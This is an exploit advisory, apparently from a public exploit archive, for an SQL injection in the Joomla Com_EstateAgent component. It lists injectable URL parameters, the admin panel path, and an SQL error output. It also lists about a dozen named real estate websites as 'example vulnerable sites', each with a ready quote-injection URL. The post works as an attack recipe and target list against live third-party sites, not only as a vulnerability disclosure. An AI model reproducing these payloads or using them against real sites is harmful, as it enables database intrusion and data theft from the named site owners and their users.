Joomla 1.5.26 Com_EstateAgent Components 3.x SQL Injection

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# Exploit Title : Joomla 1.5.26 Com_EstateAgent Components 3.x SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : joomla.org - eaimproved.eu
# Software Download Link : extensions.joomla.org/extension/estate-agent-improved/
# Affected Joomla Version : Joomla 1.0.12 - 1.0.15 - 1.5.18 - 1.5.26
# Software Affected Version : Com_EstateAgent 3.x - 3.7
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

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# Impact :
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Joomla 1.5.26 Com_EstateAgent Components 3.x is prone to an SQL-injection vulnerability
because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

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# Admin Panel Login Path :
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/administrator

# SQL Injection Exploit :
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/index.php?option=com_estateagent&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]

/index.php?option=com_estateagent&Itemid=[ID-NUMBER]&act=object&task=showEO&id=[SQL Injection]&lang=english

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[SQL Injection]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showCE&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]

/index.php?option=com_estateagent&act=showEASR&Itemid=[SQL Injection]&lang=el&font-size=larger

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# Example Vulnerable Sites :
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[+] immobiliarepantaleo.it/web/index.php?option=com_estateagent&Itemid=1&act=object&task=showEO&id=1%27

[+] kritamos-estate.gr/index.php?option=com_estateagent&act=showEASR&Itemid=177&lang=el&font-size=larger

[+] realestatefasano.com/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=503%27&lang=english

[+] specinkom.ru/index.php?option=com_estateagent&Itemid=32&act=object&task=showEO&id=230%27

[+] alizziimmobiliare.it/catalogo/index.php?option=com_estateagent&Itemid=1&act=object&task=showEO&id=844%27

[+] casenelverde.com/index.php?option=com_estateagent&Itemid=99999999&act=object&task=showEO&id=928%27

[+] kvarc.com.ua/index.php?option=com_estateagent&Itemid=39&act=object&task=showEO&id=1267%27

[+] itranaimmobiliare.it/public/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=2%27

[+] stefanibg.com/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=391%27

[+] taman.su/index.php?option=com_estateagent&Itemid=36&act=object&task=showEO&id=210%27

[+] vizorsa.com/web/index.php?option=com_estateagent&Itemid=26&act=object&task=showEO&id=5%27

[+] an-status.ru/index.php?option=com_estateagent&Itemid=7&act=object&task=showEO&id=1012%27

[+] suzili.info/index.php?option=com_estateagent&Itemid=46&act=object&task=showEO&id=469%27&lang=ru

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# Example SQL Database Error :
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You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near \'AND d.published = 1 AND
 d.access<=0 AND c.name=\'EstateAgents\'\' at line 1 SQL=SELECT d.* FROM
jos_contact_details AS d LEFT JOIN jos_categories AS c ON (d.catid = c.id)
WHERE d.user_id = AND d.published = 1 AND d.access<=0 AND c.name=\'EstateAgents\'
Warning: Invalid argument supplied for foreach() in /web/htdocs/www.immobiliarepantaleo.it
/home/web/components/com_estateagent/templates/improved/obj.php on line 52

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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